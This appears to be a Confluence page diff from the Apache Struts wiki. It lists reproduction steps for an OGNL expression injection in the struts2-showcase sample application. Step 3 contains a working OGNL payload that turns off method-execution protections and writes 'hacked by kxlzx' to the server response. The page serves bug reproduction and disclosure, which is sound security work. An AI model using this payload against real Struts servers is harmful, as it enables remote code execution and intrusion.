Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.
Comment: Migrated to Confluence 4.0

...

  1. Run struts2-showcase
  2. Open url: http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEVImage Removed
  3. write skill name to %{expr} for example:
    Code Block
    %{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}
    
  4. submit the form

...